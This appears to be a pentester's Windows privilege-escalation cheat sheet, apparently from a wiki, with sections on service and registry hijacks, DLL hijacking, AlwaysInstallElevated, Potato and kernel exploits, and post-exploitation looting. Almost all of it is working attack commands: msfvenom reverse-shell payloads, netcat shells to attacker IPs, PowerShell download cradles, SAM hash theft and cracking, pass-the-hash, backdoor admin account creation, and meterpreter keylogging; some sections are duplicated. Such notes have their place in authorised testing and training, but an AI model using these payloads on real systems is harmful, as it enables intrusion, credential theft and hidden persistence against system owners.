SERVICE_START, SERVICE_STOP ..yes!

---------------------------
Plan:
Repoint the Registry to our 'reverse':
reg query HKLM:\System\CurrentControlSet\Services\regsvc
.. ImagePath says: C:\Program Files... insecureregistryservice.exe
.. ObjectName: LocalSystem ..SYSTEM privs

---------------------------
Exploit:
reg add HKLM:\System\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

kali listener: nc -nvlp 53
net start regsvc
whoami system!!

```

## Registry: AutoRuns

Could be useful, but difficult\
Since it would require a reboot

> winPEASany.exe quiet appliationinfo

Autorun Applications ..Found!\
C:\Program Files Autorun Program\program.exe\
FilePerms: Everyone ..yikes

Manually check for AutoRuns:\
reg query HKLM\SOFWARE\Microsoft\Windows\CurrentVersion\Run\
found!

Verify, can we write to it?

> accesschk.exe /accepteula -wvu "C:\Program Files Autorun Program\program.exe"\
> RW Everyone ALL\_ACCESS

Backup the .exe copy "C:\Program Files Autorun Program\program.exe" C:\Temp

Overwrite the .exe\
copy /Y reverse.exe "C:\Program Files Autorun Program\program.exe"\
kali listener: nc -nvlp 53\
On a restart, Windows will auto-run as the 'last-user'\
So, lets get admin prepped and reboot:\
windows: login as admin windows: restart\
whoami admin!

## DLL Missing Hijack

* If a Service loads a DLL
* The DLL will get same permission as executed
* If DLL is missing, and we can write to that dir...
* Then we can add our evil-dll in that location!
* Often a very MANUAL process to discover this exploit
* In a real engagement: we would copy the .exe and analyze it in another environment
* REF: [DLLHijackWithMSF](/07-win-privesc/06-dll-hijack)

```
---------------------------
winPEAS 
Check for DLL Hijacking in PATH folders 
"C:\Temp" ..found writable and Path!
"dllsvc"  ..vulnerable to hijacking

Verify: 
.\accesschk.exe /accepteula -uvqc dllsvc 
Found: Can start/stop

sc qc dllsvc 
binary: "C:\Program Files\DLL Hijack Service\dllhijackservice.exe" 
runs as LocalSystm

---------------------------
Procmon DLL Watch

Windows: 
Procmon64 (run as Admin)
Clear, Ctrl-L ..add filter Process "dllhijackservice.exe" 
De-select registry 
De-select show-network 
Start Capture 
cmd> net start dllsvc 
lots of 'NAME NOT FOUND' 
Also tries: "C:\Temp\hijackme.dll" ..which is writeable!

---------------------------
Exploit:
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=53 -f dll -o /tools/hijackme.dll
nc -nvlp 53
copy \\192.x.kali\tools\hijackme.dll C:\Temp
net stop dllsvc
net start dllsvc
whoami
system!!
```

## MSI: Install Elevated

* AlwaysInstallElevated Windows will allow installers to run w/elevated
* Lets make a malicious MSI file that contains reverse-shell
* Catch: Only works if 2 registry values are set:
  * **HKLM**\SOFTWARE\Policies\Microsoft\Windows\Installer
  * **HKCU**\SOFTWARE\Policies\Microsoft\Windows\Installer

```
---------------------------
winPEASany.exe quiet windowscreds
Found: 
AlwaysInstallElevated set to 1 in HKLM 
AlwaysInstallElevated set to 1 in HKCU

Verify:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
.. AlwaysInstallElevated = 1
.. Found!

---------------------------
Exploit: msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=53 -f msi -o /tools/reverse.msi
Catch with netcat or msf/multi
nc -nvlp 53
copy & Execute:
> copy \\192.x.kali\tools\reverse.msi C:\Temp
> msiexec /quiet/qn /i reverse.msi
whoami
system!!
```

## Passwords: Registry

* Reused, Readable, or Insecure
* Registry: Apps or Windows may store plaintext

```
Search Registry
For passwords but too many results
> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s

Enum:
> winPEASany.exe quiet filesinfo userinfo
Autologon user/pass ..Found!
Putty Sessions u/pw ..Found

Verify Reg:
> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
> reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
user/pass Found!!

Kali:
> winexe -U 'admin%password123' //192.168.win cmd.exe
whoami admin!!

> winexe -U 'admin%password123' --system //192.168.win cmd.exe
whoami system!!
```

## Passwords: stored creds: runas

* Saved Creds with "runas"
* You can runas 'admin'

```
> winPEASany.exe quiet cmd windowscreds
Stored Credentials - User: MyPc\admin ..Found

Confirm:
> cmdkey /list

Exploit:
> runas /savecred /user:admin C:\PrivEsc\reverse.exe
nc -nvlp 53
whoami
admin
```

## Passwords: Search Configs

* Unattend.xml file
* To help install a pc, but passwords often left behind

```
---------------------------
Manual search:
recursive from current dir:
> dir /s *pass* == *.config
> findstr /si password *.xml *.ini *.txt

Try:
c:\user\home
c:\temp
c:\someapp\


---------------------------
Enumerate:
> winPEASany.exe quiet cmd searchfast filesinfo

Known files that can contain creds ..Found!
C:\Windows\Microsoft.NET\Framework...\web.config
C:\Windows\Panther\Unattend.xml

> type C:\Windows\Panther\Unattend.xml
found: user:pass (base64)

kali
echo "mybasexyz" | base64 -d
```

## Passwords: SAM

* REF: [WindowsPW](/05-passwords-ciphers/05-windows-pw)
* **SAM** - holds windows password hashes
* **SYSTEM** - encrypted hash key
* Locked while Windows is running
* If you can read both, then you can extract

Located:\
C:\Windows\System32\config

Backups:\
C:\Windows\Repair\
C:\Windows\System32\config\RegBack

```
winPEAS
> winPEASany.exe quiet cmd searchfast filesinfo
Found SAM and REGISTRY in:
C:\Windows\Repair

Copy back to Kali:
> copy C:\Windows\Repair\SAM \\192.x.kali\tools\
> copy C:\Windows\Repair\SYSTEM \\192.x.kali\tools\
```

## pwdump

* Crack Windows PW using SAM/SYSTEM
* Get the latest pwdump

```
git clone https://github.com/Neohapsis/creddump7.git 
cd creddump7 

> python2 pydump.py /tools/SYSTEM /tools/SAM

crack admin 
hashcat -m 1000 --force myhashxyz123 /usr/share/wordlist/rockyou.txt password123 ..Found!

Connect from Kali:
winexe -U 'admin%password123' --system //192.168.win cmd.exe 
whoami admin
```

## Pass the Hash

* Use hash instead of the PW
* winexe ..normal
* pth-winexe ..passthehash

```
> pth-winexe -U 'admin%myhashxyz123:secondhalf' //192.x.win cmd.exe
whoami admin!!

> pth-winexe --system -U 'admin%myhashxyz123:secondhalf' //192.x.win cmd.exe
whoami system!!
```

## Scheduled Tasks

* If we can edit a current Scheduled Task
* We can append our evil entry

```
---------------------------
View:
> schtasks /query /fo LIST /v
ps> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

cd C:\
cd DevTools  ..interesting folder
CleanUp.ps1  ..interesting file

type CleanUp.ps1

Note says
#Runs every minute
#Runs as System
Remove-Item C:\DevTools\*.log

---------------------------
perms:
accesschk.exe /accepteula -quv user CleanUp.ps1
File_Write

backup:
copy CleanUp.ps1 C:\Temp\

---------------------------
Exploit:
echo C:\PrivEsc\reverse.exe >> CleanUp.ps1
nc -nvlp 53
Connected
whoami
system!!
```

## GUI Admin Apps

* AKA: "Citrix Method"
* Since we also use this to Citrix Escaping
* If an app is setup to run as Admin
* You can use it to also do other things! - Like open a CMD!

```
Open: 
"AdminPaint" icon

View: 
tasklist /V | findstr mspaint.exe 
mspaint.exe ..with Admin.. Running

Exploit: 
AdminPaint > File > Open > 
file://c:/windows/system32/cmd.exe 
whoami:admin
```

## Startup Apps

* If we can edit, we can add:
* C:\ProgramData\Microsofot\Windows\Start Menu\Programs\StartUp
* When Admin logs in - it will execute as Admin !!

```
Kali-reversed:
> accesschk.exe /accepteula -d "C:\ProgramData\Microsofot\Windows\Start Menu\Programs\StartUp"
Users have RW

vbscript to create a link to our reverse.exe
> type CreateShortcut.vbs  
> cscript CreateShortcut  ..creates our reverse.lnk

kali:
nc -nvlp 53

Win:
Logout of Windows
Login as Admin.. to trigger our Startup Script

Kali: Connected
whoami
admin!!
```

## Installed Apps

```
> tasklist /V
```

* Is it exploitable?
* [www.exploit-db.com](http://www.exploit-db.com)
* Filter: local, windows search: priv esc
* Examples:
  * KioWare Server.. based on weak privs
  * IObiot .. unquoted service path
  * IperiusBackup .. file permissions
* Other good ones:
  * Buffer Overflows

## Hot Potato

* Spoofing attack, with NTLM, to get SYSTEM
* Like: [Responder](/07-win-privesc/responder)
* Works : Windows 7, 8, early 10
* Intercepts requests, Spoofs, runs our Payload

```
> potato.exe -ip 192.x         ..win-targer
-cmd "C:\PrivEsc\reverse.exe"  ..payload
-enable_httpserver true   
-enable_defender true 
-enable_spoof true 
-enable_exhausust true

> kali: nc -nvlp 53 
whoami system!
```

## Potato

* Another version of 'hot potato' ?
* <https://github.com/foxglovesec/Potato>
* Windows 7,8,10, Server 2008, Server 2012

## Potato Family

* Moved to [PotatoFamily](/07-win-privesc/win-kernelexp)

## PrintSpoofer

Print Spooler Exploit\
<https://github.com/itm4n/PrintSpoofer>\
Requires: vc\_redist.x64.exe (if not present)

```
> PSExec64.exe /accepteula -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
> whoami
local service

> whoami /priv
SeImpersonatePrivilege ..Enabled

> PrintSpoofer.exe -i -c "C:\PrivEsc\reverse.exe"
> nc -nvlp 4444
> whoami 
system
```

## Metasploit: Looking Around

```
mtp > run post/windows/gather/win_privs cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

```

## getsystem

Metasploit Meterpreter - genius!\
Wont work on patched newer-windows-boxes\
Should NOT be considered for user>admin escalation method in modern systems

* rapid7/metasploit-payloads
  * elevate.c
  * namedpipe.c
  * tokendup.c

3 techniques getsystem can use\
Will try all 3 till success

1. Named Pipe Impersonation impersonates access token to get SYSTEM
2. Named Pip Impersonation but uses DLL to disk as SYSTEM DLL connects to named pipe limited to x86 arch
3. Token Duplication requires SeDebugPrivilege finds service as SYSTEM and injects DLL in Memory

## churrasco

* REF: [Granny/Grandpa-HTB](/07-win-privesc/win-privesc)
* <https://technet.microsoft.com/library/security/ms09-012>
* Token impersonation via churrasco
* To escalate privs to System - developed by Cesar Cerrudo.
* Server 2003 allows Network Service and Local Service to impersonate 'System'
* Patched by Microsoft in Windows 2012 (MS09-12).
* On newer systems Juicy Potato works fine.
* But on older systems, token impersonation is abused via the churrasco exploit.
* If you have access to a box as `nt authority\network service`
* IE: You managed to upload ASP.NET shell
* You can easily elevate your privileges on the box.
* You can download the exploit [**here**](https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/6705.zip) and compile by yourself
* or you can use the one from `sqlninja` which is located at `/usr/share/sqlninja/apps/churrasco.exe`
* It’s used by `sqlninja` in cases when we bruteforced `sa` password.
* After uploading you can easily

  * Elevate your privileges.
  * Create an Admin account

  ```
  ------------------------
  Share from Kali/smb:

  locate churrasco.exe
  wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe
  cp /usr/share/sqlninja/apps/churrasco.exe /tmp
  cp /usr/share/sqlninja/apps/nc.exe /tmp
  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.98 RPORT=5555 -f exe > /tmp/venomshell.exe

  locate smbserver.py
  cd /usr/share/doc/python3-impacket/examples/
  sudo python3 smbserver.py share /tmp
  nc -nvlp 5555


  ------------------------
  Windows:

  whoami /priv    ..SeImpersonatePrivilege - Yes!
  systeminfo      ..Server 2003 - Yes!

  cd C:\Windows\Temp
  copy \\10.x.x.x\share\nc.exe .
  copy \\10.x.x.x\share\venomshell.exe .
  copy \\10.x.x.x\share\churrasco.exe .

  > \\10.x.x.x\share\churrasco.exe -d whoami
  > churrasco -d "net user /add <username> <password>"
  > churrasco -d "net localgroup administrators <username> /add"
  > churrasco -d "net localgroup "Remote Desktop Users" <username> /add"
  > churrasco.bin "net user oscp oscp /add && net localgroup Administrators oscp /add"
  > churrasco -d "'reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"
  linux> rdesktop -u oscp -p oscp 10.x.x.x

  > churrasco.exe -d venomshell.exe
  > churrasco.exe -d "C:\Windows\Temp\nc.exe 10.x.x.x 5555 -e cmd.exe"
  > \\10.x.x.x\share\churrasco.exe -d "C:\Windows\Temp\nc.exe 10.x.x.x 5555 -e cmd.exe"
  ```

## chimichurri

* MS10-059
* Found with [WindowsExploitSuggester](/07-win-privesc/win-enum#windows-exploit-suggester)

```
cd /opt
git clone https://github.com/egre55/windows-kernel-exploits
cd windows-kernel-exploits/MS10–059: Chimichurri/Compiled
cp Chimichurri.exe .
pythom -m SimpleHTTPServer 4444

cd C:\ColdFusion8\  or:
cd C:\Windows\Temp
echo $webclient = New-Object System.Net.WebClient >wget.ps1
echo $url = "http://$MyIP:4444/Chimichurri.exe" >>wget.ps1
echo $file = "Chimichurri.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInterative -NoProfile -File wget.ps1
Chimichurri.exe 10.10.14.xx 5555
nc -nvlp 5555
connected ..system!!

----------
or:

cd /usr/share/doc/python3-impacket/examples
sudo python3 ./smbserver.py share /tmp
nc -nvlp 5555

cd C:\Windows\Temp\
copy \\$MyIP\share\Chimichurri.exe .
Chimichurri.exe $MyIP 5555
system!!

```

## Python to Exe

* Windows privledge escalation exploits are often written in Python.
* You can compile the using "pyinstaller.py" into an executable

```
> pip install pyinstaller
> wget -O exploit.py http://www.exploit-db.com/download/31853
> python pyinstaller.py --onefile exploit.py
exploit.exe

----------------------------------------
Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
https://www.exploit-db.com/exploits/6705/


----------------------------------------
> wget -O ms11-080.py http://www.exploit-db.com/exploits/18176/
> python pyinstaller.py --onefile ms11-080.py
mx11-080.exe
```

## Powershell Exploits

* You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server
* Powershell Priv Escalation Tools:
  * <https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>
* One liner to run a powershell command from a basic (cmd.exe) shell:

```
MS16-032 
https://www.exploit-db.com/exploits/39719/

> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
```

## Powershell RunAs

* PowerShell can also be used to launch a process as another user.
* Simple script will run a reverse shell as the specified username and password.

```
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","10.x.x.x","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public


> powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
```

## useradd.exe

```
root@kali:~# cat useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net localgroup administrators bob /add");
return 0;
}

Compile:
i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
```


# 4 Kernel Exploits

Windows PrivEsc Methods

| Family        |                       | Versions                                                                                            |
| ------------- | --------------------- | --------------------------------------------------------------------------------------------------- |
| Rogue Potato  | Latest Version        | SHOULD work on Windows 10                                                                           |
| Juicy Potato  | Upgrade of Rotten     | <p>Server 2008 R2 - No Hotfixes<br>Windows 7 Enterprise 6.1.7600</p><p>Patched in Latest Win-10</p> |
| Rotten Potato | Old                   | Year: 2016                                                                                          |
| Churrasco     | Non-Potato            |                                                                                                     |
| Chimichurri   | Non-Potato : MS10-059 |                                                                                                     |

## Basics

* <https://github.com/SecWiki/windows-kernel-exploits>
* [GitlabPotatoesWindowsPrivEsc](https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html)

## Required for Potato:

```
> whoami
Local Service

> whoami /priv
SeImpersonatePrivilege ..Enabled
```

## Token Impersonations

Service Accounts\
Cant login with them, but can escalate them

## Rogue Potato

* <https://github.com/antonioCoco/RoguePotato>
* <https://github.com/antonioCoco/RoguePotato/releases> (compiled)
* <https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/>

```
> RoguePotato.exe -r 10.x.x.x -l 9999 -e "C:\PrivEsc\reverse.exe"
> nc -nvlp 9999
```

## Juicy Potato \*\*BEST\*\*

* Token Impersonation
* <https://github.com/ohpe/juicy-potato>
* [http://ohpe.it/juicy-potato/CLSID](http://ohpe.it/juicy-potato/CLSID/) (or powershell script)
* <https://github.com/ivanitlearning/Juicy-Potato-x86/releases>

```
whoami /priv   ..SeImpersonatePrivilege = JuicyPotato
JuicyPotato.exe -l 5555 -p C:\PrivEsc\reverse.exe -t * -c GUID_CLSID
Juicy.Potato.x86.exe -l 5555 -p "C:\inetpub\wwwroot\shell.exe" -t * -c {F087771F-D74F-4C1A-BB8A-E16ACA9124EA}
JuicyPotato.exe -l 5555 -p c:\Windows\system32\cmd.exe -a "/c C:\intepub\drupal-7.54\nc.exe -e cmd.exe 10.x.x.x 4555" -t *
JuicyPotato.exe -l 5555 -p c:\Windows\system32\cmd.exe -a "/c C:\intepub\drupal-7.54\nc.exe -e cmd.exe 10.x.x.x 4555" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

nc -nvlp 5555
whoami ..system
```

## Juicy Potato + Powershell

* Reverse Shell with Admin
* JP will use Elevated Powershell to grab/exe reverse-ps1-shell
* <https://ohpe.it/juicy-potato/>
* REF: ArcticHTB

```
> cp /opt/JuicyPotato.exe jp.exe
> cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 revshell.ps1
> vim revshell.ps1
Add this to the end of the file:
Invoke-PowerShellTcp -Reverse -IPAddress $IP -Port 7600

> sudo impacket-smbserver kali .

> copy \\10.10.14.34\kali\jp.exe .
> jp.exe -t * -p C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -l 9001 -a "-c IEX(new-object net.webclient).downloadstring('http://$IP:9090/revshell.ps1')" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

> nc -lvnp 7600
> whoami ..system!!
```

## Rotten Potato

Exploit from 2016\
Service Accounts could get System tickets and Impersonate

## churrasco

* REF: GrannyHTB GrandpaHTB
* <https://technet.microsoft.com/library/security/ms09-012>
* Token impersonation via churrasco
* To escalate privs to System - developed by Cesar Cerrudo.
* Server 2003 allows Network Service and Local Service to impersonate 'System'
* Patched by Microsoft in Windows 2012 (MS09-12).
* On newer systems Juicy Potato works fine.
* But on older systems, token impersonation is abused via the churrasco exploit.
* If you have access to a box as `nt authority\network service`
* IE: You managed to upload ASP.NET shell
* You can easily elevate your privileges on the box.
* You can download the exploit [**here**](https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/6705.zip) and compile by yourself
* or you can use the one from `sqlninja` which is located at `/usr/share/sqlninja/apps/churrasco.exe`
* It’s used by `sqlninja` in cases when we bruteforced `sa` password.
* After uploading you can easily

  * Elevate your privileges.
  * Create an Admin account

  ```
  ------------------------
  Share from Kali/smb:

  locate churrasco.exe
  wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe
  cp /usr/share/sqlninja/apps/churrasco.exe /tmp
  cp /usr/share/sqlninja/apps/nc.exe /tmp
  msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.98 RPORT=5555 -f exe > /tmp/venomshell.exe

  locate smbserver.py
  cd /usr/share/doc/python3-impacket/examples/
  sudo python3 smbserver.py share /tmp
  nc -nvlp 5555


  ------------------------
  Windows:

  whoami /priv    ..SeImpersonatePrivilege - Yes!
  systeminfo      ..Server 2003 - Yes!

  cd C:\Windows\Temp
  copy \\10.x.x.x\share\nc.exe .
  copy \\10.x.x.x\share\venomshell.exe .
  copy \\10.x.x.x\share\churrasco.exe .

  > \\10.x.x.x\share\churrasco.exe -d whoami
  > churrasco -d "net user /add <username> <password>"
  > churrasco -d "net localgroup administrators <username> /add"
  > churrasco -d "net localgroup "Remote Desktop Users" <username> /add"
  > churrasco.bin "net user oscp oscp /add && net localgroup Administrators oscp /add"
  > churrasco -d "'reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f"
  linux> rdesktop -u oscp -p oscp 10.x.x.x

  > churrasco.exe -d venomshell.exe
  > churrasco.exe -d "C:\Windows\Temp\nc.exe 10.x.x.x 5555 -e cmd.exe"
  > \\10.x.x.x\share\churrasco.exe -d "C:\Windows\Temp\nc.exe 10.x.x.x 5555 -e cmd.exe"
  ```

## chimichurri

* MS10-059
* Found with [WindowsExploitSuggester](/07-win-privesc/win-enum#windows-exploit-suggester)
* Server 2008 R2 Datacenter 6.1.7600 N/A Build 7600 No Patch 64bit
* github/Re4son ..other blog:

```
cd /opt
git clone https://github.com/egre55/windows-kernel-exploits
cd windows-kernel-exploits/MS10–059: Chimichurri/Compiled
cp Chimichurri.exe .
pythom -m SimpleHTTPServer 4444

cd C:\ColdFusion8\  or:
cd C:\Windows\Temp
echo $webclient = New-Object System.Net.WebClient >wget.ps1
echo $url = "http://$MyIP:4444/Chimichurri.exe" >>wget.ps1
echo $file = "Chimichurri.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInterative -NoProfile -File wget.ps1
Chimichurri.exe 10.10.14.xx 5555
nc -nvlp 5555
connected ..system!!

----------
or:

cd /usr/share/doc/python3-impacket/examples
sudo python3 ./smbserver.py share /tmp
nc -nvlp 5555

cd C:\Windows\Temp\
copy \\$MyIP\share\Chimichurri.exe .
Chimichurri.exe $MyIP 5555
system!!

----------
chimichurri.exe $MyIP 5555
nc -nvlp 5555
system!
```

## MS11-046 (AFD PrivEsc)

* The Ancillary Function Driver (AFD) in afd.sys does not properly validate user-mode input which allows local users to elevate privileges.
* ms11-046.exe 6.1.7600 Build 7600 - for 32bit only
* <https://www.exploit-db.com/exploits/40564/>

```
https://github.com/abatchy17/WindowsExploits
https://github.com/abatchy17/WindowsExploits/blob/5e9c25cda54fe33fb6e1fd3ae60512a1113b41df/MS11-046/MS11-046.exe

smbserver.py share
\\10.10.14.34\share\MS11-046.exe
whoami ..system!

https://github.com/rasta-mouse/Watson

or
Download from:
https://www.exploit-db.com/exploits/40564

Compile:
apt install mingw-w64  ..if not installed
i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32

python -m SimpleHTTPServer 8080
wget and curl are not installed on the machine however powershell is.
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.x.x.x:8080/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"
whoami ..system!
```

## MS15-051

* REF: [DrupalPhpVuln](/04-webapps/drupal#serialization-vulnerability-41564-php)

```
MS15-051 privesc
github/hfiref0x ..compiled Taihou64.exe (firefox thought virus)
github/SecWiki ..MS15-051 ..compiled ..zipped ..download

cp ms15-051x64.exe .
http://10.x.x.x/ippsec.php?fupload=ms15-051x64.exe&fexec=ms15-051x64.exe whoami
system!

http://10.x.x.x/ippsec.php?fupload=ms15-051x64.exe&fexec=ms15-051x64.exe "nc64.exe -e 10.x.x.x 5555"
nc -nvlp 5555
system!

Bonus PrivEsc:
ms15–051x64.exe whoami   ..easy
```

## Send and Execute

* Execute files from UNC shares
* Ex: [DrupalPhpVuln](/04-webapps/drupal#serialization-vulnerability-41564-php)

```
impacket-smbserver share `myfolder`
http://10.x.x.x/ippsec.php?fexe=\\10.x.x.x\share\privesc.exe whoami
```


# 5 Looting

## After system/admin:

1. Go for sam dump on windows using reg.exe <https://xapax.github.io/security/#attacking_active_directory_domain/active_directory_privilege_escalation/credential_extraction/#extract-credentials-from-sam-and-security-hives-from-registry>
2. REF:
   1. <https://github.com/mubix/post-exploitation-wiki>


# Bloodhound

* Mapping tool that figures out the Path to DomainAdmin

```
Find all Domain Admins
Find Shortest Path to Domain Admin
DCSync to get PWs
Mark as Owned
Shortest Path to Domain Admin from Owned Principals
Domain Trust Relationships
Possibly move between forests

Data comes from:
SharpHound
BloodHound Ingestor

Cache Option:
NoSaveCache - keeps BloodHound.bin from saving to disk
.. saving to disk will alert the monitors
```


# DLL Hijack MSF

## Metasploit Method

```
----------------------
Exploitable Service:
C:\Program Files\DeveloperDebugTools\Service\DeveloperService.exe

Write access to this folder, which was in the PATH:
C:\Program Files (x86)\Common Files\Oracle\Java\javapath\

If we can get the evil .dll into that PATH folder.
Then restart the service (or reboot).
It will kick off that .dll with System access!!!

----------------------
Create the dll:
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=4444 -f dll > /root/data/Debug.dll

64 bit option:  
> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=4444 -f dll > /root/data/Debug.dll

----------------------
Listener:
> msfconsole
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set payload windows/x64/meterpreter/reverse_tcp  ..64bit optional
> set LHOST 10.x.x.x
> set LPORT 4444
> exploit

----------------------
Copy to Windows:
> cd data
> python -m SimpleHTTPServer 51001

Windows:
> http://10.102.3.116:51001
.. Also, after downloading.. r.click prop 'unblock' maybe helped?
Works!!

Copy the file here:
C:\Program Files (x86)\Common Files\Oracle\Java\javapath

Rebooted the Windows Server
This kicked off the Service, which ran the evil .dll !!!!!
Watched my "Listener" and picked it up!!!



----------------------
Connected!!
mtp>> sysinfo
mtp>> getuid
mtp>> cd home
mtp>> pwd
mtp>> cd Desktop

met> sessions -i 1
met> getuid
met> getsystem  --will switch you to system privs
met> screenshot
met> hashdump 
met> help   (keylogger, webcam_snap)
met> keyscan_start
met> keyscan_dump   ... shows the keyscan!!

meterpreter > cat flag.txt
```

* REF: [PrivEscWindows-DLLHijack](/07-win-privesc/win-privesc#dll-hijacking)
* <https://pentestlab.blog/2017/04/04/dll-injection/>
* <https://www.greyhathacker.net/?p=738>
* <https://www.gracefulsecurity.com/privesc-dll-hijacking/>
* <https://www.securitynewspaper.com/2016/01/02/dll-hijacking-tutorial/>
* <https://www.youtube.com/watch?v=2l_U4pvaFRg>

## More...




---

[Next Page](/llms-full.txt/1)

